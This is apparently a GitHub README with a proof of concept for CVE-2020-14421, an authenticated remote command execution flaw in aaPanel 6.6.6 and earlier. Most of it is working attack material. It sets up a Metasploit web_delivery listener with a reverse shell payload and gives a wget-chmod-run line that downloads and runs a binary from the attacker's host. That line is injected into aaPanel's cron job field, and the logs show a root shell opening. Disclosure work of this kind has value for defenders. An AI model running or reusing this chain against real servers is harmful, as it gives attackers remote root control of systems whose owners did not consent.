

```
listening on [any] 1234 ...
connect to [16 ] from (UNKNOWN) [16 9] 44586
GET / HTTP/1.1
Host: :1234
User-Agent: curl/7.61.1
Accept: /*/*
```

aapanel 6.6.6 - CVE-2020-14421

- Description : Allows attacker to run arbitrary command remotely
- Affected version : All <= 6.6.6

Information

To make this PoC, I just installed fresh Ubuntu 20.04, then I installed `wget + sudo` and executed this script `wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh`

- Vulnerability Type : Remote command execution (RCE Authenticated)

POC

First of all, setup `web_delivery` options, this will create a payload and a listener.

```
msf5 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

  Name      Current Setting  Required  Description
  ----      -
  SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert    Path to a custom SSL certificate (default is randomly generated)
  URIPATH    The URI to use for this exploit (default is random)

Payload options (linux/x64/shell_reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
  LPORT     8080             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux
```

Now run it

```
msf5 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[.] Handler failed to bind to 0.0.0.0:8080: -
[*] Started reverse TCP handler on 0.0.0.0:8080
[*] Using URL: http://0.0.0.0:8080/gUVnlorp
msf5 exploit(multi/script/web_delivery) > [*] Local IP: http://0.0.0.0:8080/gUVnlorp
[*] Server started.
[*] Run the following command on the target machine:
wget -qO wt8v00sC --no-check-certificate http://0.0.0.0:8080/gUVnlorp; chmod +x wt8v00sC; ./wt8v00sC& disown
```

this will generate the following payload:

```
wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVnlorp; chmod +x wt8v00sC; ./wt8v00sC& disown
```

Then copy/past like this into `script content` of `crontab` menu in `aapanel`.

Add Cron Job

Type of Task: Shell Script * Type of task: shell script, backup site, backup database, out log, free memory, access URL.

Name of Task:

Period: N Minutes Minute

Script Content:

```
wget -qO DkashbH --no-check-certificate
http://0.0.0.0:8080/gUVnlorp;
chmod +x DkashbH;
./DkashbH&& disown
```

Task List

<input type="checkbox"/>	Task Name	Status	Period	Time of Executing	Quantity Stored	Backup to	Time of applying	Action
<input type="checkbox"/>	yolo	Normal	Every 3 Minutes	Run Every 3 Minutes	-	-	2020-06-18 10:52:35	Execute Edit Log Del

Now just execute your crontab and wait your session.

```
[*] Started reverse TCP handler on 0.0.0.0:8088
[*] Using URL: http://0.0.0.0:8088/P9qIXhPHE1YriQ
[*] Local IP: http://10.0.0.1:8088/P9qIXhPHE1YriQ
[*] Server started.
[*] Run the following command on the target machine:
wget -qO DKAus3vN --no-check-certificate http://10.0.0.1:8088/P9qIXhPHE1YriQ; chmod +x DKAus3vN; ./DKAus3vN& disown
msf5 exploit(multi/script/web_delivery) > [*] 16.0.0.19 web_delivery - Delivering Payload (194 bytes)
[*] Command shell session 1 opened (16.0.0.19:8088 -> 162.150.138.58574) at 2020-06-18 10:52:35 +0000

msf5 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

id
uid=0(root) gid=0(root) groups=0(root)
```

Fast Exploit

Just run `msfconsole -r aapanel.rc` copy/paste the payload into script content section, and enjoy your session.

Releases

No releases published

Packages

No packages published

Contributors 2



jenaye Houziaux Mike



noraj Alexandre ZANNI